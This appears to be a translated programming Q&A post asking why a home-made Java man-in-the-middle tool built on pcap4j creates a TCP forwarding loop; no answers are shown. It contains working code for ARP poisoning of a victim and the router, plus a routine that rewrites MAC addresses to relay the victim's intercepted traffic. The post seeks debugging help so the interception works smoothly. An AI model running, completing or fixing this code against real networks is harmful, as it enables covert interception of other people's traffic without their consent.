自制的MITM无法正确重定向TCP

时间:2019-04-28 22:17:43

标签: java tcp ddos man-in-the-middle pcap4j

晚上好, 我目前正在使用pcap4j库创建一个中间人程序,arp毒害目标并将其数据包重定向到我的设备。收到数据包后,我将其发送回其实际目的地。问题在于,在正确重定向了几个TCP数据包后(我正在使用HTTP网站测试该过程),下一个将在我和受害设备之间形成某种循环,从而使连接失效。

我显然已经尝试过使用Wireshark分析那些数据包,但是一切似乎都是正确的。这些是失败的步骤: 1.我与HTTP网站建立了第一个连接,所有TCP数据包均成功重定向,受害设备正确显示了该页面。 2.我建立了第二个连接,其中一些数据包似乎达到了他们的目标,而下一个数据包将在我的设备与受害人的设备之间循环。我称之为循环的事实是,相同的TCP数据包在我的设备MAC地址和受害者的MAC地址之间交替出现,如果我不停止程序,它将无限期循环。

这是我在每秒暂停的线程中使用的arp毒药方法:

ARPPacket arpRouter = new ARPPacket(Main.MAC,victimMAC,victimMAC,this.routerIP,victimIP,false);
ARPPacket arpVictim = new ARPPacket(Main.MAC,this.routerMAC,this.routerMAC,victimIP,this.routerIP,false);
byte[] arpRouterBytes = arpRouter.getPacketBytes().array();
byte[] arpVictimBytes = arpVictim.getPacketBytes().array();
try {
this.handle.sendPacket(arpRouterBytes,arpRouterBytes.length);
this.handle.sendPacket(arpVictimBytes,arpVictimBytes.length);
} catch (NotOpenException e) {
e.printStackTrace();
} catch (PcapNativeException e) {
e.printStackTrace();
}

这是我将数据包从受害设备重定向到其真实目的地的方法:

if(ltPacket.getType() == PacketType.TCPPacket) {
String srcIP = (String)ltPacket.getInfos().get("source_ip_address"), destIP = (String)ltPacket.getInfos().get("dest_ip_address");
String destMAC = (String)ltPacket.getInfos().get("dest_mac");
PacketEditor editor = new PacketEditor(ltPacket);
String[] victimIPs = PacketSniffer.this.arpSpoofer.getVictimIPs();
String[] victimMACs = PacketSniffer.this.arpSpoofer.getVictimMACs();
if(Arrays.asList(victimIPs).contains(srcIP) && destMAC.equals(Main.MAC)) {
editor.setInfo("src_mac_bytes", Tools.turnMacAddressIntoBytes(Main.MAC));
editor.setInfo("dest_mac_bytes", Tools.turnMacAddressIntoBytes(PacketSniffer.this.arpSpoofer.getRouterMACAddress()));
byte[] packetBytes = editor.getPacketBytes();
try {
PacketSniffer.this.handle.sendPacket(packetBytes,packetBytes.length);
} catch (NotOpenException | PcapNativeException e) {
e.printStackTrace();
}
}
if(Arrays.asList(victimIPs).contains(destIP) && destMAC.equals(Main.MAC)) {
editor.setInfo("src_mac_bytes", Tools.turnMacAddressIntoBytes(Main.MAC));
editor.setInfo("dest_mac_bytes", Tools.turnMacAddressIntoBytes(victimMACs[Arrays.asList(victimIPs).indexOf(destIP)]));
byte[] packetBytes = editor.getPacketBytes();
try {
PacketSniffer.this.handle.sendPacket(packetBytes,packetBytes.length);
} catch (NotOpenException | PcapNativeException e) {
e.printStackTrace();
}
}

不要介意ltPacket实例或编辑器可以正确完成其工作(ltPacket拥有有关数据包的信息,编辑器可以更改它们并将其重新编译为新的数据包)。

我希望您能够帮助我摆脱这个奇怪的循环,而不会ddos我正在嗅探的网站。在此先感谢您的帮助。

0 个答案:

没有答案